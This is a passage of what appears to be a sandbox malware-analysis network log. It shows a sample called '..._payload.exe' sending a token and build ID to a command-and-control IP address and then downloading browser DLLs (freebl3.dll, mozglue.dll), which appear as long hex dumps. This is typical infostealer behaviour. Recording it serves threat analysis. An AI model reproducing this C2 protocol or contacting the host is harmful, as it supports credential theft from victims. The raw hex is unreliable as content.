0a 43 6f 6e 74 Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------ECFHJKEBAAECBFHIECGICont
2024-08-04 00:21:18 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:18 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49741	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:18 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:18 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------FHIEBKKFHIEGCAKECGHJCont
2024-08-04 00:21:19 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:19 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49742	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:20 UTC	245	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:20 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:20 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Sunday, 04-Aug-2024 00:21:20 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-04 00:21:20 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-08-04 00:21:20 UTC	16384	IN	Data Raw: ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-08-04 00:21:20 UTC	16384	IN	Data Raw: 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wP
2024-08-04 00:21:20 UTC	16384	IN	Data Raw: 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f Data Ascii: 00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-08-04 00:21:20 UTC	16384	IN	Data Raw: e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-08-04 00:21:20 UTC	16384	IN	Data Raw: c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-08-04 00:21:20 UTC	16384	IN	Data Raw: 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-08-04 00:21:20 UTC	16384	IN	Data Raw: 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 Data Ascii: eUeLXee0@eeeue0UEeeUeee $
2024-08-04 00:21:20 UTC	16384	IN	Data Raw: 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 Data Ascii: O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE
2024-08-04 00:21:20 UTC	16384	IN	Data Raw: ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49745	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:22 UTC	245	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:22 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:22 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Sunday, 04-Aug-2024 00:21:22 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-04 00:21:22 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-08-04 00:21:22 UTC	16384	IN	Data Raw: 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPF
2024-08-04 00:21:22 UTC	16384	IN	Data Raw: 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc<
2024-08-04 00:21:22 UTC	16384	IN	Data Raw: c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-08-04 00:21:22 UTC	16384	IN	Data Raw: 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-08-04 00:21:22 UTC	16384	IN	Data Raw: ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc Data Ascii: H) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-08-04 00:21:22 UTC	16384	IN	Data Raw: 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4
2024-08-04 00:21:22 UTC	16384	IN	Data Raw: 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$
